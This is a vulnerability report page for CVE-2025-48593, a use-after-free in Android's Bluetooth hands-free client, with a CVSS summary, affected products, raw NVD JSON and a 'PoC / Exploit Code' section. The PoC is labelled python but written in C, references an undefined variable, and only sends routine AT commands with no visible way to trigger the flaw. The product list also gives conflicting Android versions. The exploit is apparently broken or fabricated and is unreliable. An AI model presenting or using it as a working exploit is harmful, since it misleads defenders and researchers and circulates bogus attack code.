Security Vulnerability Report
中文
CVE-2025-48593 CVSS 8.0 HIGH

CVE-2025-48593

Published: 2025-11-18 05:16:10
Last Modified: 2025-11-19 18:50:37

Description

In bta_hf_client_cb_init of bta_hf_client_main.cc, there is a possible remote code execution due to a use after free. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:* - VULNERABLE
Android Bluetooth模块 < 2025-11-01安全补丁级别
AOSP Android 11/12/13/14 (受影响版本需查看具体安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48593 PoC - Android Bluetooth Use After Free // This PoC demonstrates triggering the use after free in bta_hf_client_cb_init // Attack requires adjacent Bluetooth access #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> #include <bluetooth/rfcomm.h> int trigger_uaf_vulnerability(int sock) { // Step 1: Send crafted HFP initialization sequence char at_init[] = "AT+BRSF=0\r\n"; send(sock, at_init, strlen(at_init), 0); usleep(100000); // Step 2: Trigger HF Client initialization callback char at_hf[] = "AT+CIND=?\r\n"; send(sock, at_hf, strlen(at_at_hf), 0); usleep(100000); // Step 3: Force reinitialization to trigger use after free char at_reset[] = "AT+CHLD=?\r\n"; send(sock, at_reset, strlen(at_reset), 0); // Step 4: Send rapid connection/disconnection to corrupt heap for (int i = 0; i < 10; i++) { send(sock, "AT\r\n", 4, 0); usleep(50000); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48593", "sourceIdentifier": "[email protected]", "published": "2025-11-18T05:16:10.350", "lastModified": "2025-11-19T18:50:36.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In bta_hf_client_cb_init of bta_hf_client_main.cc, there is a possible remote code execution due to a use after free. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/packages/modules/Bluetooth/+/5ed63461b44198c80d5aff7e1af1df812f782abb", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://android.googlesource.com/platform/packages/modules/Bluetooth/+/c69c78d7c4f623201f35831d32e6c401156e76cc", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://source.android.com/security/bulletin/2025-11-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}